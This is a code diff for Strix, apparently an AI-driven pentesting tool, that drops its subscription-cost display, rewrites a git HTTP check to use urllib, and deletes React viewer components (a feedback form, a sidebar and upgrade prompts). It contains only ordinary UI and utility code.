||||
|
||||
Prefers the run record so it's correct for hydrated/resumed runs; falls back
|
||||
to current settings.
|
||||
"""
|
||||
record = getattr(report_state, "run_record", None)
|
||||
if isinstance(record, dict) and record.get("auth_mode"):
|
||||
return record.get("auth_mode") == "subscription"
|
||||
from strix.config import codex
|
||||
|
||||
return codex.auth_mode(load_settings().llm.model) == "subscription"
|
||||
|
||||
|
||||
def _int_stat(usage: dict[str, Any], key: str) -> int:
|
||||
try:
|
||||
return max(0, int(usage.get(key) or 0))
|
||||
@@ -296,16 +283,11 @@ def _build_llm_usage_stats(
|
||||
*,
|
||||
live: bool = False,
|
||||
) -> None:
|
||||
subscription = _is_subscription(report_state)
|
||||
usage = _llm_usage(report_state)
|
||||
if not usage or _int_stat(usage, "requests") <= 0:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
if subscription:
|
||||
stats_text.append("$0.00 ", style="#22c55e")
|
||||
stats_text.append("(subscription) ", style="dim")
|
||||
else:
|
||||
stats_text.append("$0.0000 ", style="#fbbf24")
|
||||
stats_text.append("$0.0000 ", style="#fbbf24")
|
||||
stats_text.append("· ", style="dim white")
|
||||
stats_text.append("Tokens ", style="dim")
|
||||
stats_text.append("0", style="white")
|
||||
@@ -330,12 +312,7 @@ def _build_llm_usage_stats(
|
||||
stats_text.append("Output Tokens ", style="dim")
|
||||
stats_text.append(format_token_count(output_tokens), style="white")
|
||||
|
||||
if subscription:
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
stats_text.append("$0.00", style="#22c55e")
|
||||
stats_text.append(" (subscription)", style="dim")
|
||||
elif live or cost > 0:
|
||||
if live or cost > 0:
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
stats_text.append(f"${cost:.4f}", style="#fbbf24")
|
||||
@@ -360,9 +337,6 @@ def build_live_stats_text(report_state: Any) -> Text:
|
||||
model = load_settings().llm.model or "unknown"
|
||||
stats_text.append("Model ", style="dim")
|
||||
stats_text.append(str(model), style="white")
|
||||
if _is_subscription(report_state):
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("ChatGPT subscription", style="#22c55e")
|
||||
stats_text.append("\n")
|
||||
|
||||
vuln_count = len(report_state.vulnerability_reports)
|
||||
@@ -405,10 +379,6 @@ def build_tui_stats_text(report_state: Any) -> Text:
|
||||
|
||||
model = load_settings().llm.model or "unknown"
|
||||
stats_text.append(str(model), style="white")
|
||||
subscription = _is_subscription(report_state)
|
||||
if subscription:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("ChatGPT subscription", style="#22c55e")
|
||||
|
||||
usage = _llm_usage(report_state)
|
||||
if usage and _int_stat(usage, "total_tokens") > 0:
|
||||
@@ -418,10 +388,7 @@ def build_tui_stats_text(report_state: Any) -> Text:
|
||||
style="white",
|
||||
)
|
||||
cost = _float_stat(usage, "cost")
|
||||
if subscription:
|
||||
stats_text.append(" · ", style="white")
|
||||
stats_text.append("$0.00", style="white")
|
||||
elif cost > 0:
|
||||
if cost > 0:
|
||||
stats_text.append(" · ", style="white")
|
||||
stats_text.append(f"${cost:.2f}", style="white")
|
||||
|
||||
@@ -1087,12 +1054,13 @@ def resolve_diff_scope_context(
|
||||
def _is_http_git_repo(url: str) -> bool:
|
||||
check_url = f"{url.rstrip('/')}/info/refs?service=git-upload-pack"
|
||||
try:
|
||||
resp = requests.get(check_url, headers={"User-Agent": "git/strix"}, timeout=10)
|
||||
except (requests.RequestException, ValueError):
|
||||
req = Request(check_url, headers={"User-Agent": "git/strix"}) # noqa: S310
|
||||
with urlopen(req, timeout=10) as resp: # noqa: S310 # nosec B310
|
||||
return "x-git-upload-pack-advertisement" in resp.headers.get("Content-Type", "")
|
||||
except HTTPError as e:
|
||||
return e.code == 401
|
||||
except (URLError, OSError, ValueError):
|
||||
return False
|
||||
if resp.status_code >= 400:
|
||||
return resp.status_code == 401
|
||||
return "x-git-upload-pack-advertisement" in resp.headers.get("Content-Type", "")
|
||||
|
||||
|
||||
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911
|
||||
@@ -1179,7 +1147,9 @@ def read_target_list_file(path_str: str) -> list[str]:
|
||||
if (target := line.strip()) and not target.startswith("#")
|
||||
]
|
||||
except UnicodeDecodeError as e:
|
||||
raise ValueError(f"Target list file '{path_str}' must be valid UTF-8 text: {e!s}") from e
|
||||
raise ValueError(
|
||||
f"Target list file '{path_str}' must be valid UTF-8 text: {e!s}"
|
||||
) from e
|
||||
except OSError as e:
|
||||
raise ValueError(f"Failed to read target list file '{path_str}': {e!s}") from e
|
||||
|
||||
|
||||
@@ -1,134 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { ArrowLeft, AlertCircle, CheckCircle2 } from "lucide-react";
|
||||
import { IoChatbubblesOutline } from "react-icons/io5";
|
||||
import { submitFeedback } from "@/data/serverSource";
|
||||
import type { View } from "@/App";
|
||||
|
||||
const MAX_MESSAGE = 5000;
|
||||
|
||||
const ERROR_COPY: Record<string, string> = {
|
||||
invalid_email: "That email doesn't look right.",
|
||||
invalid_message: "Please write a little more.",
|
||||
unavailable: "Couldn't send that just now. Try again.",
|
||||
};
|
||||
|
||||
/**
|
||||
* Feedback & support form. Collects a message plus a work email (no
|
||||
* verification — the email is taken as-is) and relays it to Strix via the local
|
||||
* server. Mirrors EmailReportView's centered-card styling and palette.
|
||||
*/
|
||||
export default function FeedbackView({
|
||||
defaultEmail,
|
||||
onExit,
|
||||
}: {
|
||||
defaultEmail: string | null;
|
||||
onExit: (dest: View) => void;
|
||||
}) {
|
||||
const [message, setMessage] = useState("");
|
||||
const [email, setEmail] = useState(defaultEmail ?? "");
|
||||
const [step, setStep] = useState<"form" | "sending" | "sent">("form");
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
const canSend = message.trim().length > 0 && email.trim().length > 0 && step !== "sending";
|
||||
|
||||
const send = async () => {
|
||||
if (!canSend) return;
|
||||
setStep("sending");
|
||||
setError(null);
|
||||
const result = await submitFeedback(message.trim(), email.trim());
|
||||
if (result.ok) {
|
||||
setStep("sent");
|
||||
return;
|
||||
}
|
||||
setStep("form");
|
||||
setError(ERROR_COPY[result.error] ?? ERROR_COPY.unavailable);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="mx-auto max-w-xl space-y-4">
|
||||
<button
|
||||
onClick={() => onExit("overview")}
|
||||
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] transition-colors hover:text-white"
|
||||
>
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
Back to results
|
||||
</button>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<IoChatbubblesOutline className="h-5 w-5 text-[#888]" aria-hidden="true" />
|
||||
<h1 className="text-2xl font-semibold text-white">Feedback & support</h1>
|
||||
</div>
|
||||
|
||||
<div
|
||||
className="w-full rounded-2xl bg-[rgba(255,255,255,0.02)] p-6"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
{step === "sent" ? (
|
||||
<div className="flex items-start gap-3">
|
||||
<CheckCircle2 className="mt-0.5 h-5 w-5 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<div className="min-w-0">
|
||||
<p className="text-sm font-semibold text-white">Thanks, we got it.</p>
|
||||
<p className="mt-1 text-xs text-[#888]">
|
||||
We read every message. If it needs a reply, we'll reach out to the email you gave.
|
||||
</p>
|
||||
<button
|
||||
onClick={() => {
|
||||
setMessage("");
|
||||
setStep("form");
|
||||
}}
|
||||
className="mt-4 cursor-pointer text-xs text-[#888] transition-colors hover:text-white"
|
||||
>
|
||||
Send more feedback
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<p className="mb-4 text-xs text-[#666]">
|
||||
Bugs, feature requests, or anything else. Tell us what's on your mind.
|
||||
</p>
|
||||
|
||||
{error && (
|
||||
<div className="mb-4 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
|
||||
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
|
||||
<p className="text-xs text-red-300">{error}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<label className="block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your feedback</span>
|
||||
<textarea
|
||||
autoFocus
|
||||
value={message}
|
||||
maxLength={MAX_MESSAGE}
|
||||
onChange={(e) => setMessage(e.target.value)}
|
||||
rows={5}
|
||||
placeholder="What's working, what's not, what you'd love to see…"
|
||||
className="w-full resize-y rounded-lg border border-[#2a2a2a] bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-white/50 focus:ring-2 focus:ring-white/10"
|
||||
/>
|
||||
</label>
|
||||
|
||||
<label className="mt-4 block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
|
||||
<input
|
||||
type="email"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
className="w-full rounded-lg border border-[#2a2a2a] bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-white/50 focus:ring-2 focus:ring-white/10"
|
||||
/>
|
||||
</label>
|
||||
|
||||
<button
|
||||
onClick={() => void send()}
|
||||
disabled={!canSend}
|
||||
className="mt-4 flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
|
||||
>
|
||||
{step === "sending" ? "Sending…" : "Send feedback"}
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
import React, { useState } from "react";
|
||||
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
|
||||
/**
|
||||
* Lightweight hover tooltip. Wraps a trigger and reveals `text` above it on
|
||||
* hover/focus. Plain Tailwind + local state (no radix vendored).
|
||||
*/
|
||||
export function Tooltip({
|
||||
text,
|
||||
children,
|
||||
className = "",
|
||||
}: {
|
||||
text: string;
|
||||
children: React.ReactNode;
|
||||
className?: string;
|
||||
}) {
|
||||
const [open, setOpen] = useState(false);
|
||||
return (
|
||||
<span
|
||||
className={`relative inline-flex ${className}`}
|
||||
onMouseEnter={() => setOpen(true)}
|
||||
onMouseLeave={() => setOpen(false)}
|
||||
onFocus={() => setOpen(true)}
|
||||
onBlur={() => setOpen(false)}
|
||||
>
|
||||
{children}
|
||||
{open && (
|
||||
<span
|
||||
role="tooltip"
|
||||
className="pointer-events-none absolute bottom-full left-1/2 z-50 mb-2 w-max max-w-[240px] -translate-x-1/2 rounded-md px-2.5 py-1.5 text-xs text-[#ddd] shadow-lg"
|
||||
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
|
||||
>
|
||||
{text}
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Compact inline CTA button that links out to sign-up in a new tab, with a
|
||||
* hover tooltip one-liner. Used in per-surface rows where a full card is too
|
||||
* heavy.
|
||||
*/
|
||||
export function ProInlineCta({
|
||||
label,
|
||||
desc,
|
||||
slug,
|
||||
icon: Icon,
|
||||
surface,
|
||||
}: {
|
||||
label: string;
|
||||
desc: string;
|
||||
slug: string;
|
||||
icon: React.ElementType;
|
||||
surface?: string;
|
||||
}) {
|
||||
return (
|
||||
<Tooltip text={desc}>
|
||||
<a
|
||||
href={ctaUrl(SIGNUP_URL, slug)}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta(slug, surface)}
|
||||
className="group inline-flex items-center gap-2 rounded-lg border border-[#222] bg-[rgba(255,255,255,0.02)] px-3 py-2 text-sm text-[#aaa] transition-colors hover:border-[#444] hover:text-white"
|
||||
>
|
||||
<Icon className="h-4 w-4 text-[#888] transition-colors group-hover:text-white" aria-hidden="true" />
|
||||
<span>{label}</span>
|
||||
</a>
|
||||
</Tooltip>
|
||||
);
|
||||
}
|
||||
@@ -1,435 +0,0 @@
|
||||
import React, { useCallback, useEffect, useRef, useState } from "react";
|
||||
import {
|
||||
AlertTriangle,
|
||||
Bot,
|
||||
Users,
|
||||
History,
|
||||
Mail,
|
||||
LogOut,
|
||||
ChevronsUpDown,
|
||||
} from "lucide-react";
|
||||
import { LuGitPullRequestArrow } from "react-icons/lu";
|
||||
import { VscExtensions } from "react-icons/vsc";
|
||||
import { IoChatbubblesOutline } from "react-icons/io5";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { ctaUrl, trackCta } from "@/lib/cta";
|
||||
import { UpgradeModal } from "@/components/UpgradeModal";
|
||||
import type { View } from "@/App";
|
||||
|
||||
/**
|
||||
* Persistent left rail: a black rail with a right hairline border, an
|
||||
* account-switcher-style header, a single ungrouped list of h-9 nav rows (36px
|
||||
* icon slot, 14px label, rgba(255,255,255,0.12) active fill), a hairline
|
||||
* separator, and a user footer. Drag the right edge to resize; drag past the
|
||||
* collapse threshold to hide it, then click the left pull-zone to bring it back.
|
||||
*/
|
||||
|
||||
const MIN_WIDTH = 160;
|
||||
const DEFAULT_WIDTH = 260;
|
||||
const MAX_WIDTH = 400;
|
||||
const COLLAPSE_THRESHOLD = 140;
|
||||
|
||||
const WIDTH_KEY = "strix_viewer_sidebar_width";
|
||||
const COLLAPSE_KEY = "strix_viewer_sidebar_collapsed";
|
||||
|
||||
interface SidebarProps {
|
||||
view: View;
|
||||
onSelectView: (view: View) => void;
|
||||
issuesCount: number;
|
||||
agentCount: number;
|
||||
runCount: number;
|
||||
finished: boolean;
|
||||
verified: boolean;
|
||||
email: string | null;
|
||||
onOpenEmail: () => void;
|
||||
onOpenHistory: () => void;
|
||||
onForget: () => void;
|
||||
}
|
||||
|
||||
function readInt(key: string, fallback: number): number {
|
||||
try {
|
||||
const raw = localStorage.getItem(key);
|
||||
const n = raw ? parseInt(raw, 10) : NaN;
|
||||
return Number.isFinite(n) ? n : fallback;
|
||||
} catch {
|
||||
return fallback;
|
||||
}
|
||||
}
|
||||
|
||||
export default function Sidebar({
|
||||
view,
|
||||
onSelectView,
|
||||
issuesCount,
|
||||
agentCount,
|
||||
runCount,
|
||||
finished,
|
||||
verified,
|
||||
email,
|
||||
onOpenEmail,
|
||||
onOpenHistory,
|
||||
onForget,
|
||||
}: SidebarProps) {
|
||||
const [width, setWidth] = useState(() => {
|
||||
const w = readInt(WIDTH_KEY, DEFAULT_WIDTH);
|
||||
return Math.min(MAX_WIDTH, Math.max(MIN_WIDTH, w));
|
||||
});
|
||||
const [collapsed, setCollapsed] = useState(() => {
|
||||
try {
|
||||
return localStorage.getItem(COLLAPSE_KEY) === "1";
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
const [isResizing, setIsResizing] = useState(false);
|
||||
const [showUserMenu, setShowUserMenu] = useState(false);
|
||||
const [upgradeFeature, setUpgradeFeature] = useState<string | null>(null);
|
||||
const userMenuRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
// Open the upgrade dialog for a platform feature, recording which feature
|
||||
// drove the open (the dialog's own CTAs track the deeper conversion).
|
||||
const openUpgrade = (slug: string, description: string) => {
|
||||
trackCta(slug, "sidebar");
|
||||
setUpgradeFeature(description);
|
||||
};
|
||||
|
||||
const persistWidth = useCallback((w: number) => {
|
||||
setWidth(w);
|
||||
try {
|
||||
localStorage.setItem(WIDTH_KEY, String(w));
|
||||
} catch {
|
||||
/* best-effort persistence */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const persistCollapsed = useCallback((c: boolean) => {
|
||||
setCollapsed(c);
|
||||
try {
|
||||
localStorage.setItem(COLLAPSE_KEY, c ? "1" : "0");
|
||||
} catch {
|
||||
/* best-effort persistence */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const expandSidebar = useCallback(() => {
|
||||
persistCollapsed(false);
|
||||
persistWidth(DEFAULT_WIDTH);
|
||||
}, [persistCollapsed, persistWidth]);
|
||||
|
||||
const handleResizeStart = useCallback((e: React.MouseEvent) => {
|
||||
e.preventDefault();
|
||||
setIsResizing(true);
|
||||
}, []);
|
||||
|
||||
// Global drag handlers for the resize handle. Dragging below the collapse
|
||||
// threshold hides the rail entirely.
|
||||
useEffect(() => {
|
||||
if (!isResizing || collapsed) return;
|
||||
|
||||
const handleMouseMove = (e: MouseEvent) => {
|
||||
const newWidth = e.clientX;
|
||||
if (newWidth >= MIN_WIDTH && newWidth <= MAX_WIDTH) {
|
||||
setWidth(newWidth);
|
||||
} else if (newWidth > MAX_WIDTH) {
|
||||
setWidth(MAX_WIDTH);
|
||||
}
|
||||
};
|
||||
const handleMouseUp = (e: MouseEvent) => {
|
||||
const finalWidth = e.clientX;
|
||||
if (finalWidth < COLLAPSE_THRESHOLD) {
|
||||
persistCollapsed(true);
|
||||
persistWidth(DEFAULT_WIDTH);
|
||||
} else {
|
||||
persistWidth(Math.min(MAX_WIDTH, Math.max(MIN_WIDTH, finalWidth)));
|
||||
}
|
||||
setIsResizing(false);
|
||||
};
|
||||
|
||||
window.addEventListener("mousemove", handleMouseMove);
|
||||
window.addEventListener("mouseup", handleMouseUp);
|
||||
return () => {
|
||||
window.removeEventListener("mousemove", handleMouseMove);
|
||||
window.removeEventListener("mouseup", handleMouseUp);
|
||||
};
|
||||
}, [isResizing, collapsed, persistCollapsed, persistWidth]);
|
||||
|
||||
// Close the user menu when clicking outside it.
|
||||
useEffect(() => {
|
||||
if (!showUserMenu) return;
|
||||
const onDown = (e: MouseEvent) => {
|
||||
if (userMenuRef.current && !userMenuRef.current.contains(e.target as Node)) {
|
||||
setShowUserMenu(false);
|
||||
}
|
||||
};
|
||||
document.addEventListener("mousedown", onDown);
|
||||
return () => document.removeEventListener("mousedown", onDown);
|
||||
}, [showUserMenu]);
|
||||
|
||||
return (
|
||||
<>
|
||||
{/* Left-edge pull zone: click to bring the rail back when collapsed. */}
|
||||
{collapsed && (
|
||||
<div
|
||||
className="fixed left-0 top-0 z-40 hidden h-full w-4 cursor-pointer transition-colors hover:bg-[rgba(255,255,255,0.08)] lg:block"
|
||||
onClick={expandSidebar}
|
||||
title="Expand sidebar"
|
||||
/>
|
||||
)}
|
||||
|
||||
<aside
|
||||
className={cn(
|
||||
"sticky top-0 z-20 hidden h-screen flex-shrink-0 flex-col overflow-hidden border-r border-[rgba(255,255,255,0.08)] bg-black lg:flex",
|
||||
!isResizing && "transition-[width] duration-200 ease-out"
|
||||
)}
|
||||
style={{ width: collapsed ? 0 : width }}
|
||||
>
|
||||
{/* Header — account-switcher stand-in (links out to Strix Cloud). */}
|
||||
<header className="relative flex flex-col gap-1 pt-1 min-w-[160px]">
|
||||
<div className="flex flex-row py-1 px-2">
|
||||
<div className="flex h-10 w-full flex-row items-center">
|
||||
<a
|
||||
href={ctaUrl("https://app.strix.ai", "logo")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("logo", "sidebar")}
|
||||
className="flex flex-1 flex-row items-center gap-2 rounded-md py-2 pl-2.5 pr-1 min-w-0 transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
title="Open Strix Cloud"
|
||||
>
|
||||
<span
|
||||
className="flex flex-shrink-0 items-center justify-center rounded-full bg-gradient-to-br from-emerald-400 to-cyan-500"
|
||||
style={{ width: 20, height: 20 }}
|
||||
>
|
||||
<span className="text-[10px] font-semibold text-white">S</span>
|
||||
</span>
|
||||
<span className="flex flex-1 flex-row items-center gap-2 min-w-0">
|
||||
<span className="truncate min-w-0 text-[14px] font-medium text-[#ededed]">Strix</span>
|
||||
<span className="flex h-5 flex-shrink-0 items-center rounded px-2 text-[11px] font-medium text-[#888] bg-[rgba(255,255,255,0.08)]">
|
||||
Local
|
||||
</span>
|
||||
</span>
|
||||
</a>
|
||||
<a
|
||||
href={ctaUrl("https://app.strix.ai", "logo")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("logo", "sidebar")}
|
||||
className="flex flex-none items-center rounded-md px-1.5 py-2 transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
aria-label="Open Strix Cloud"
|
||||
>
|
||||
<ChevronsUpDown className="h-4 w-4 text-[#666]" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* Navigation */}
|
||||
<nav className="relative min-w-[160px] flex-1 overflow-y-auto overflow-x-clip scrollbar-thin pb-10 pt-2">
|
||||
<div className="relative flex flex-col gap-px px-2">
|
||||
<NavItem
|
||||
icon={<ProjectsIcon />}
|
||||
label="Pentest Overview"
|
||||
active={view === "overview"}
|
||||
onClick={() => onSelectView("overview")}
|
||||
/>
|
||||
<NavItem
|
||||
icon={<AlertTriangle className="h-4 w-4" />}
|
||||
label="Issues"
|
||||
count={issuesCount > 0 ? issuesCount : undefined}
|
||||
active={view === "issues"}
|
||||
onClick={() => onSelectView("issues")}
|
||||
/>
|
||||
{agentCount > 0 && (
|
||||
<NavItem
|
||||
icon={<Bot className="h-4 w-4" />}
|
||||
label="Agents"
|
||||
count={agentCount}
|
||||
active={view === "agents"}
|
||||
onClick={() => onSelectView("agents")}
|
||||
/>
|
||||
)}
|
||||
<NavItem
|
||||
icon={<History className="h-4 w-4" />}
|
||||
label="Past runs"
|
||||
count={runCount > 0 ? runCount : undefined}
|
||||
active={view === "history"}
|
||||
onClick={onOpenHistory}
|
||||
/>
|
||||
{finished && (
|
||||
<NavItem
|
||||
icon={<Mail className="h-4 w-4" />}
|
||||
label="Export report"
|
||||
active={view === "email"}
|
||||
onClick={onOpenEmail}
|
||||
/>
|
||||
)}
|
||||
<NavItem
|
||||
icon={<IoChatbubblesOutline className="h-4 w-4" />}
|
||||
label="Feedback & support"
|
||||
active={view === "feedback"}
|
||||
onClick={() => onSelectView("feedback")}
|
||||
/>
|
||||
|
||||
<hr className="mx-0 my-1 h-px w-full border-0 bg-[rgba(255,255,255,0.08)]" />
|
||||
|
||||
<NavItem
|
||||
icon={<LuGitPullRequestArrow className="h-4 w-4" />}
|
||||
label="PR Security Reviews"
|
||||
active={false}
|
||||
onClick={() =>
|
||||
openUpgrade(
|
||||
"pr_reviews",
|
||||
"Strix reviews every pull request and flags exploitable changes before they merge."
|
||||
)
|
||||
}
|
||||
/>
|
||||
<NavItem
|
||||
icon={<VscExtensions className="h-4 w-4" />}
|
||||
label="Integrations"
|
||||
active={false}
|
||||
onClick={() =>
|
||||
openUpgrade(
|
||||
"integrations",
|
||||
"Sync findings to Jira, Linear, and Slack so fixes happen where your team already works."
|
||||
)
|
||||
}
|
||||
/>
|
||||
<NavItem
|
||||
icon={<Users className="h-4 w-4" />}
|
||||
label="Members"
|
||||
active={false}
|
||||
onClick={() =>
|
||||
openUpgrade(
|
||||
"members",
|
||||
"Invite your team, set roles, and share findings and run history across your org."
|
||||
)
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
{/* User footer — verified-email footer. */}
|
||||
<section className="flex min-w-[160px] flex-col gap-0.5" ref={userMenuRef}>
|
||||
<div className="relative p-2">
|
||||
{verified && email ? (
|
||||
<button
|
||||
onClick={() => setShowUserMenu((v) => !v)}
|
||||
className="relative flex w-full cursor-pointer items-center gap-2 rounded-md bg-transparent px-2.5 py-2 transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
>
|
||||
<span
|
||||
className="flex flex-shrink-0 items-center justify-center rounded-full bg-gradient-to-br from-emerald-400 to-cyan-500"
|
||||
style={{ width: 20, height: 20 }}
|
||||
>
|
||||
<span className="text-[9px] font-semibold text-white">
|
||||
{email[0]?.toUpperCase() || "U"}
|
||||
</span>
|
||||
</span>
|
||||
<span className="flex min-w-0 flex-1 flex-col text-left">
|
||||
<span className="truncate text-[13px] font-medium text-[#ededed]">{email}</span>
|
||||
<span className="truncate text-[11px] text-[#555]">Linked to this machine</span>
|
||||
</span>
|
||||
</button>
|
||||
) : (
|
||||
<div className="flex items-center gap-2 rounded-md px-2.5 py-2">
|
||||
<span
|
||||
className="flex flex-shrink-0 items-center justify-center rounded-full bg-gradient-to-br from-emerald-400 to-cyan-500"
|
||||
style={{ width: 20, height: 20 }}
|
||||
>
|
||||
<span className="text-[9px] font-semibold text-white">S</span>
|
||||
</span>
|
||||
<span className="flex min-w-0 flex-1 flex-col text-left">
|
||||
<span className="truncate text-[13px] font-medium text-[#ededed]">Local viewer</span>
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{showUserMenu && verified && email && (
|
||||
<div className="absolute bottom-full left-2 right-2 z-50 mb-1 overflow-hidden rounded-lg border border-[#333] bg-black shadow-xl">
|
||||
<div className="border-b border-[#333] px-3 py-2">
|
||||
<p className="truncate text-[13px] font-medium text-white">Linked email</p>
|
||||
<p className="truncate text-[11px] text-[#666]">{email}</p>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => {
|
||||
setShowUserMenu(false);
|
||||
onForget();
|
||||
}}
|
||||
className="flex w-full items-center gap-2 px-3 py-2 text-[13px] text-[#888] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-red-400"
|
||||
>
|
||||
<LogOut className="h-4 w-4" />
|
||||
Forget this email
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
{/* Resize handle */}
|
||||
<div
|
||||
className="group absolute right-0 top-0 z-30 h-full w-1 cursor-col-resize"
|
||||
onMouseDown={handleResizeStart}
|
||||
>
|
||||
<div
|
||||
className={cn(
|
||||
"absolute right-0 top-0 h-full w-px bg-[rgba(255,255,255,0.08)] transition-all duration-100",
|
||||
isResizing ? "w-0.5 bg-[rgba(255,255,255,0.3)]" : "group-hover:bg-[rgba(255,255,255,0.2)]"
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
{/* Overlay during resize to prevent text selection. */}
|
||||
{isResizing && <div className="fixed inset-0 z-10 cursor-col-resize" />}
|
||||
|
||||
<UpgradeModal
|
||||
open={upgradeFeature !== null}
|
||||
description={upgradeFeature ?? ""}
|
||||
source="sidebar"
|
||||
onClose={() => setUpgradeFeature(null)}
|
||||
/>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
interface NavItemProps {
|
||||
icon: React.ReactNode;
|
||||
label: string;
|
||||
active: boolean;
|
||||
onClick: () => void;
|
||||
count?: number;
|
||||
}
|
||||
|
||||
function NavItem({ icon, label, active, onClick, count }: NavItemProps) {
|
||||
return (
|
||||
<button
|
||||
onClick={onClick}
|
||||
className={cn(
|
||||
"group flex h-9 w-full origin-left flex-row items-center rounded-md transition-colors",
|
||||
active
|
||||
? "bg-[rgba(255,255,255,0.12)] text-white"
|
||||
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-[#ededed]"
|
||||
)}
|
||||
>
|
||||
<div className="grid flex-none place-content-center" style={{ width: 36, height: 36 }}>
|
||||
{icon}
|
||||
</div>
|
||||
<span className="min-w-0 flex-1 truncate text-left text-[14px] font-medium">{label}</span>
|
||||
{count != null && (
|
||||
<span className="mr-2 flex-none rounded-full border border-white/10 px-2 py-0.5 text-[10px] tabular-nums leading-none text-[#777]">
|
||||
{count}
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
// Overview icon: a dashboard grid glyph (16x16 viewBox).
|
||||
function ProjectsIcon() {
|
||||
return (
|
||||
<svg style={{ width: 16, height: 16, color: "currentcolor" }} viewBox="0 0 16 16" fill="currentColor">
|
||||
<path
|
||||
fillRule="evenodd"
|
||||
clipRule="evenodd"
|
||||
d="M2.5 5.5V2.5H5.5V5.5H2.5ZM1 2C1 1.44772 1.44772 1 2 1H6C6.55228 1 7 1.44772 7 2V6C7 6.55228 6.55228 7 6 7H2C1.44772 7 1 6.55228 1 6V2ZM2.5 13.5V10.5H5.5V13.5H2.5ZM1 10C1 9.44772 1.44772 9 2 9H6C6.55228 9 7 9.44772 7 10V14C7 14.5523 6.55228 15 6 15H2C1.44772 15 1 14.5523 1 14V10ZM10.5 2.5V5.5H13.5V2.5H10.5ZM10 1C9.44772 1 9 1.44772 9 2V6C9 6.55228 9.44772 7 10 7H14C14.5523 7 15 6.55228 15 6V2C15 1.44772 14.5523 1 14 1H10ZM10.5 13.5V10.5H13.5V13.5H10.5ZM9 10C9 9.44772 9.44772 9 10 9H14C14.5523 9 15 9.44772 15 10V14C15 14.5523 14.5523 15 14 15H10C9.44772 15 9 14.5523 9 14V10Z"
|
||||
/>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
@@ -1,150 +0,0 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import {
|
||||
X,
|
||||
Sparkles,
|
||||
ExternalLink,
|
||||
GitPullRequest,
|
||||
Shield,
|
||||
Zap,
|
||||
CalendarClock,
|
||||
WandSparkles,
|
||||
Plug,
|
||||
} from "lucide-react";
|
||||
import { SIGNUP_URL, PRICING_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
|
||||
/**
|
||||
* Dialog shown when a platform feature is clicked in the sidebar: a short
|
||||
* description of the feature plus what Strix Cloud includes. The local viewer
|
||||
* has no billing, so both CTAs link out to the public sign-up / pricing pages.
|
||||
*/
|
||||
|
||||
const CLOUD_HIGHLIGHTS: { icon: React.ElementType; label: string }[] = [
|
||||
{ icon: GitPullRequest, label: "PR security reviews" },
|
||||
{ icon: Shield, label: "Attack surface monitoring" },
|
||||
{ icon: Zap, label: "Real-time threat intelligence" },
|
||||
{ icon: CalendarClock, label: "Scheduled pentesting" },
|
||||
{ icon: WandSparkles, label: "One-click autofix" },
|
||||
